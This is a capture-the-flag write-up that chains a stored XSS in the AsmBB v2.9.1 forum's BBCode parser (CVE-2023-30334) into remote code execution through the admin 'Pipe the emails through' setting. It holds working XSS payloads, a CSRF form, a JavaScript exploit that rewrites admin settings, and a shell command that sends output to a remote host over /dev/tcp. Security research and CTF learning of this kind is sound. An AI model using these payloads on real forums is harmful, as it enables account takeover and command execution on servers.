From XSS to RCE in AsmBB v2.9.1

Update (May 2023)

This vulnerability was assigned a CVE!
CVE-2023-30334 AsmBB v2.9.1 was discovered to contain multiple cross-site scripting (XSS) vulnerabilities via the MiniMag.asm and bbcode.asm libraries.


From the post:
  • “AsmBB is very secure web application, because of the internal design and the reduced dependencies. But it also supports encrypted databases, for even higher security.”
  • “Download, install and hack”


The challenge is to attack the latest version of AsmBB, a web-based message board implemented entirely in x86 assembly. The provided Dockerfile builds the asmbb engine using the source files from the asmbb and freshlib repositories.
# Get source files for asmbb
RUN wget -O asmbb.tar.gz && \
/bin/bash -c "echo 'b1e621d1ae988b35e836ec9142ccc6ce6cf7c24a090c4d973894770a62fa4ddc asmbb.tar.gz' | sha256sum --check" && \
tar -xf asmbb.tar.gz || true && \
mv asmbb-* asmbb
# Get source files for freshlib
# AsmBB uses functions from freshlib
RUN wget -O fresh.tar.gz && \
/bin/bash -c "echo '5ba395b0e957536bd66abc572414085aab5f2a527d28214881bbba72ec53e00d fresh.tar.gz' | sha256sum --check" && \
tar -xf fresh.tar.gz && \
mv Fresh* Fresh
# Build the asmbb engine
RUN lib=/Fresh/freshlib TargetOS=Linux /fasm/fasm -m 200000 /asmbb/source/engine.asm /engine

Gaining XSS

The forum is the main feature of AsmBB, and the default build uses a custom markdown-like parser called MiniMag. Our goal is to achieve a GET-based XSS on the admin user, and subsequently abuse admin features for RCE.
Let's take a look at the AsmBB source. render2.asm contains a "hash table" of commands used by the templating engine, mapped to their routines.
PHashTable tableRenderCmd, tpl_func, \
'special:', RenderTemplate.cmd_special, \
'raw:', RenderTemplate.cmd_raw, \
'include:', RenderTemplate.cmd_include, \
'minimag:', RenderTemplate.cmd_minimag, \ ; HTML, no encoding.
'bbcode:', RenderTemplate.cmd_bbcode, \ ; HTML, no encoding.
'html:', RenderTemplate.cmd_html, \ ; HTML, disables the encoding.
'attachments:', RenderTemplate.cmd_attachments, \ ; HTML, no encoding.
'attach_edit:', RenderTemplate.cmd_attachedit, \ ; HTML, no encoding.
'url:', RenderTemplate.cmd_url, \ ; Needs encoding!
'json:', RenderTemplate.cmd_json, \ ; No encoding.
'css:', RenderTemplate.cmd_css, \ ; No output, no encoding.
'equ:', RenderTemplate.cmd_equ, \
'const:', RenderTemplate.cmd_const, \
'enc:', RenderTemplate.cmd_encode, \ ; encode the content in html encoding.
'usr:', RenderTemplate.cmd_user_encode \ ; encodes the unicode content of the user nickname for unicode-clones distinction.
We can see this in action in post_view.tpl where the post is rendered. Depending on format, the post content is either parsed with minimag or bbcode, and the final output is rendered as HTML.
<article class="post-text">
Although the client-side UI only allows us to write content in the MiniMag format, the POST request to submit the post does include a format parameter.
POST /!post HTTP/1.1
Host: localhost:9032
Content-Length: 917
Connection: close
Content-Disposition: form-data; name="format"
Content-Disposition: form-data; name="source"
[][My link]
When set to 1, the format parameter allows us to use the BBCode parser instead. This uses the bbcode command, which calls the .cmd_bbcode routine.
; here esi points to ":" of the "bbcode:" command. edi points to the start "[" and ecx points to the end "]"
BenchVar .bbcode_time
BenchmarkStart .bbcode_time
stdcall TextMoveGap, edx, ecx
stdcall TextSetGapSize, edx, 4
mov dword [edx+ecx], 0
add [edx+TText.GapBegin], 4
inc [edx+TText.GapEnd] ; delete the end "]"
stdcall TextMoveGap, edx, edi
add [edx+TText.GapEnd], 8
stdcall TranslateBBCode, edx, edi, SanitizeURL
Since the BBCode parser was a newer parser introduced after MiniMag, and isn't enabled by default, we thought this would be the best place to start looking for parser vulnerabilities.
The TranslateBBCode routine from bbcode.asm (found in FreshLib) is then used to parse the BBCode content. Here we see a table of supported BBCode tags.
PHashTable tableBBtags, tpl_func, \
'b', tagStrong, \
'*', tagListItem, \
'i', tagEm, \
'u', tagUnderlined, \
's', tagDel, \
'c', tagInlineCode, \
'url', tagURL, \
'img', tagImg, \
'quote', tagQuote, \
BBCode is an old markup language that has a rather simple syntax. Tags are enclosed by square brackets, and some tags can have attributes, such as the following URL tag:
[url=]My link[/url]
The main loop of the parser is found at .loop. For each character, the logic goes:
  • if the end of the text has been reached, exit the loop
  • if it is a newline or space character, skip it
  • if it is [, process the tag at .start_tag
  • if it is the start of an emoji, process the emoji
mov ecx, [edx+TText.GapEnd]
cmp ebx, [edx+TText.GapBegin]
cmovb ecx, [edx+TText.GapBegin]
sub ecx, [edx+TText.GapBegin]
add ecx, ebx
cmp ecx, [edx+TText.Length]
jae .end_of_text
movzx eax, byte [edx+ecx]
test al, al
jz .end_of_text
cmp al, $0d
je .new_line
cmp al, $0a
je .new_line
cmp al, $20
jbe .next ; skip all whitespace
cmp al, "["
je .start_tag
; here check for emoticons
cmp al, $f0 ; emoji?
jb .continue
Otherwise, we go to .continue, where the character is HTML encoded.
; html encoding from here
test al, al ; all values > 127 are unicode and should not be encoded.
js .next
movzx eax, byte [tbl_html+eax]
test al, al
jz .del_char
jns .next ; the same as above
lea esi, [eax+tbl_html] ; the address of the replacement string.
movzx ecx, al ; length
; insert the replacement html encoding from esi
stdcall TextMoveGap, edx, ebx
stdcall TextSetGapSize, edx, ecx
inc [edx+TText.GapEnd] ; delete the previous char.
mov edi, [edx+TText.GapBegin]
add edi, edx
add [edx+TText.GapBegin], ecx
add ebx, ecx
rep movsb
jmp .loop
Notice that unless the current character is part of an emoji or part of an opening/closing tag, we will reach the HTML-encoding logic. This is done through a simple text substitution that sanitizes angle brackets, quotes, and ampersands.
HtmlEntities tbl_html, \
$09, $0d, \
$0a, $0a, \
$0d, $0d, \
'<', '&lt;', \
'>', '&gt;', \
'"', '&quot;', \
"'", '&apos;', \
'&', '&amp;'
Since everything outside the opening/closing tag are HTML-encoded, let's take a closer look at the tag-processing logic. When a tag is matched, a string substitution is performed based on the table below.
tagImg onetag <txt '<img class="block"', HTML_IMG_ATTR, 'alt="'>, txt '" src="', txt '" />', fBlockTag or fDisableTags or fURLContent
tagInlineImg onetag <txt '<img class="inline"', HTML_IMG_ATTR,'alt="'>, txt '" src="', txt '" />', fInlineTag or fDisableTags or fURLContent
tagSize onetag txt '<span style="font-size:', txt '">', txt '</span>', fInlineTag
tagColor onetag txt '<span style="color:', txt '">', txt '</span>', fInlineTag
tagEmail onetag txt '<a href="mailto:', txt '">', txt '</a>', 0
The 2nd, 3rd, and 4th columns correspond to the start of the tag, end of the attribute, and end of the tag respectively. For instance, the following markup
[email=[email protected]]Click Here[/email]
<a href="mailto: + [email protected] + "> + Click Here + </a>
The attribute value and the content in between the opening/closing tags are processed separately from the tag itself, and are thus subject to HTML-encoding. If there's any parsing bug to be found, it would probably have to be while parsing the tag.
What if we just don't close the tag?
Since the tag isn't being encoded while it is processed, there might be an edge case where the unencoded content is reflected in the absence of a closing ].
Voilà, the following markup
[email=<img src=x onerror=alert()
translates to
<a href="mailto:&lt;img src=x onerror=alert() "><img src=x onerror=alert() </a>
which when rendered on a browser, pops an alert!

Honourable Mentions

We also found two POST-based XSS vectors, which unfortunately were unusable in this challenge in the absence of an open redirect (since the admin bot is only able to visit the challenge page, and no other page).
The first was a POST request to !post. This would have reflected the XSS payload in the page <title>.
<form action="http://localhost:9032/!post" method="POST">
<input type="hidden" name="attach" value="" />
<input type="hidden" name="format" value="0" />
<input type="hidden" name="invited" value="1" />
<input type="hidden" name="limited" value="1" />
<input type="hidden" name="preview" value="p" />
<input type="hidden" name="source" value="foo" />
<input type="hidden" name="tabselector" value="0" />
<input type="hidden" name="tags" value="17" />
<input type="hidden" name="ticket" value="foo" />
<input type="hidden" name="title" value="e&lt;&#47;title&gt;&lt;script&gt;alert&#40;origin&#41;&lt;&#47;script&gt;" />
<input type="submit" value="Submit request" />
The second is a HTTP response splitting attack. The !skincookie endpoint reflects form data in the Set-Cookie header, and allows for for CRLF injection. In addition to XSS, this can be used to set arbitrary cookies and response headers.

Gaining RCE

Armed with admin privileges, one would see a suspiciously named setting in /!settings.
A setting called "Pipe the emails through" sure sounds promising for RCE. Looking for the form key smtp_exec shows us that this option is being used in commands.asm when sending a user activation email.
proc SendActivationEmail, .stmt
.stmt2 dd ?
.subj dd ?
.body dd ?
.host dd ?
.from dd ?
.to dd ?
.smtp_addr dd ?
.smtp_port dd ?
.exec dd ?
xor eax, eax
stdcall GetParam, txt "smtp_exec", gpString
mov [.exec], eax
test eax, eax
jnz .addresses_ok
; send by external program.
stdcall CreatePipe
mov ebx, eax
stdcall FileWriteString, edx, txt "From: "
stdcall FileWriteString, edx, [.from]
stdcall FileWriteString, edx, txt "@"
stdcall FileWriteString, edx, [.host]
stdcall FileWriteString, edx, <txt 13, 10>
stdcall FileWriteString, edx, txt "To: "
stdcall FileWriteString, edx, [.to]
stdcall FileWriteString, edx, <txt 13, 10>
stdcall FileWriteString, edx, txt "Subject: "
stdcall FileWriteString, edx, [.subj]
stdcall FileWriteString, edx, <txt 13, 10>
stdcall FileWriteString, edx, [.body]
stdcall FileWriteString, edx, <txt 13, 10>
stdcall FileClose, edx
stdcall Exec2, [.exec], ebx, [STDOUT], [STDERR]
stdcall WaitProcessExit, eax, -1
stdcall FileClose, ebx
jmp .finish
Looks like our smtp_exec option is being passed to Exec2. A quick look at process.asm reveals that this spawns a child process with our input. Great!
body Exec2
.pArgs dd ?
stdcall StrSplitArg, [.hCommand]
mov [.pArgs], eax
mov eax, sys_fork
int $80
test eax, eax
jnz .parent ; this is the parent process
; here is the child.
DebugMsg "Child process here!"
All we have to do now is to change this option to a payload that sends us the flag.
/bin/bash -c /readflag>/dev/tcp/

Putting It All Together

Here's the final exploit that we will serve to the admin. Here, I used a first-stage payload to keep the exploit small, but serving the whole exploit in one payload would work as well.
is converted to base64 and eval-ed:
[color=<img src=x onerror=eval(atob('ZmV0 ... bCk='))
which then executes the RCE payload:
const rce = (smtp_exec, ticket) => {
fetch(`${window.origin}/!settings`, {
method: "POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
body: `forum_title=&`
+ `&smtp_exec=${smtp_exec}&smtp_user=asdf&email_confirm=on&user_perm=1&user_perm=2&user_perm=4&user_perm=8&user_perm=16&user_perm=64&user_perm=256&user_perm=512&user_perm=1024&post_interval=0&post_interval_inc=0&max_post_length=0&anon_perm=1&anon_perm=2&activate_min_interval=0&default_lang=0&page_length=20&default_skin=Urban+Sunrise&default_mobile_skin=Urban+Sunrise&chat_enabled=on&markups=1&password=`
+ `&ticket=${ticket}&save=Save`
const smtp_exec = encodeURIComponent("/bin/bash -c /readflag>/dev/tcp/HOST/PORT")
.then(response => response.text())
.then(text => {
const m = text.match(/name="ticket" value="([^"]+)"/);
if (m) {
const ticket = m[1];
rce(smtp_exec, ticket)
Once the admin visits our exploit page, just register a new user and the flag will be sent to us!
$ nc -lv 1337